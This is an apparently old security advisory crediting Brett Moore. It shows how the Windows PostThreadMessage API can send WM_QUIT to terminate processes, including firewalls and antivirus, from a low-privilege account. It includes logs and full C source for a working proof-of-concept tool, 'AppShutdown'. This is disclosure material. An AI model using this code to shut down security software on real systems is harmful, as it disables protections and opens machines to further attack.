|
Brought to you by:
Suppliers of:
|
|
|
| |
| This article demonstrates a possible exploit in PostThreadMessage API. It appears from Brett Moore's testing that any thread can accept thread message (for example WM_QUIT), causing the process to terminate. This allows any logged user, with any security level to terminate any process that have a message queue. |
| |
Credit:
The information has been provided by Brett Moore
|
| |
From the MSDN: The PostThreadMessage function places (posts) a message in the message queue of the specified thread and then returns without waiting for the thread to process the message.
BOOL PostThreadMessage(
DWORD idThread, // thread identifier
UINT Msg, // message to post
WPARAM wParam, // first message parameter
LPARAM lParam // second message
The function fails if the specified thread does not have a message queue. The system creates a thread's message queue when the thread makes its first call to one of the Win32 USER or GDI functions.
It appears from Brett Moore's testing that any thread running under any security level will accept a WM_QUIT message, causing the process to terminate.
From the MSDN:
WM_QUIT
The WM_QUIT message indicates a request to terminate an application and is generated when the application calls the PostQuitMessage function.
Return Values
This message does not have a return value, because it causes the message loop to terminate before the message is sent to the application's window procedure.
Similar results can also be seen in some cases using sending WM_DESTROY or WM_CLOSE messages. While this does not have the security implications of 'privilege escalation' attacks, it may cause some concerns under certain circumstances.
For our testing, we used a personal firewall that runs as a service, and requires a password before terminating. When run from a guest account Appshutdown was able to kill the firewall service and various other windows services. This means that any user has the potential to shutdown:
* Antivirus applications
* Personal firewall applications
* Filtering applications
* Monitoring applications
* Potentially critical system services
Mitigating Factor:
The thread is required to have a message queue.
This attack must be run through an interactive logon.
Example Logs:
The test.exe process is the personal firewall that requires a password before shutting down. The following logs are shortened outputs of the tlist and kill commands from the NTRK
-------------------------------------------------------
C:\>tlist
208 WINLOGON.EXE NetDDE Agent
1020 test.exe TestFirewall
1132 mstask.exe SYSTEM AGENT COM WINDOW
C:\>kill 1020
process test.exe (1020) - 'TestFirewall' killed
C:\>kill 208
process WINLOGON.EXE (208) - 'NetDDE Agent' killed
-------------------------------------------------------
Although kill results in the messages above, what really happened was:
a) The password prompt appeared when trying to kill 1020
b) The service remained running when trying to kill 208
-------------------------------------------------------
C:\>appshutdown "TestFirewall"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@security-assessment.com
+ Finding TestFirewall Window...
+ Found Main Window At...0x30038h
+ Finding Window Thread..0x42ch Process 0x3fch
+ Send Quit Message
+ Done...
C:\>appshutdown "NetDDE Agent"
% AppShutdown - Playing with PostThreadMessage
% brett.moore@security-assessment.com
+ Finding NetDDE Agent Window...
+ Found Main Window At...0x10018h
+ Finding Window Thread..0x110h Process 0xd0h
+ Send Quit Message
+ Done...
-------------------------------------------------------
AppShutdown managed to successfully shutdown both services:
a) Bypassing the required password for the personal firewall
b) Bypassing the security restrictions placed on shutting down services
Example Code:
/************************************************************************
* Appshutdown.c
*
* Demonstrates the use of PostThreadMessage to;
* - shutdown any application with a message handler
*
* The window title can be specified in code or on the command line
*
* Works against any application/service process that
* has implemented a message handler
*
*************************************************************************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>
char tWindow[]="Windows Task Manager";// The name of the main window
char* pWindow;
int main(int argc, char *argv[])
{
long hWnd,proc;
DWORD hThread;
printf("%% AppShutdown - Playing with PostThreadMessage\n");
printf("%% brett.moore@security-assessment.com\n\n");
// Specify Window Title On Command Line
if (argc ==2)
pWindow = argv[1];
else
pWindow = tWindow;
printf("+ Finding %s Window...\n",pWindow);
hWnd = (long)FindWindow(NULL,pWindow);
if(hWnd == NULL)
{
printf("+ Couldn't Find %s Window\n",pWindow);
return 0;
}
printf("+ Found Main Window At...0x%xh\n",hWnd);
printf("+ Finding Window Thread..");
hThread = GetWindowThreadProcessId(hWnd,&proc);
if(hThread == NULL)
{
printf("Failed\n");
return 0;
}
printf("0x%xh Process 0x%xh\n",hThread,proc);
printf("+ Send Quit Message\n");
PostThreadMessage((DWORD) hThread,(UINT) WM_QUIT,0,0);
printf("+ Done...\n");
return 0;
}
Example Vulnerable Programs:
From Brett Moore's testing, any process that implements a message queue is vulnerable to been shutdown by a user of any security level. In some instances bypassing shutdown password requirements.
|
|
|
|
|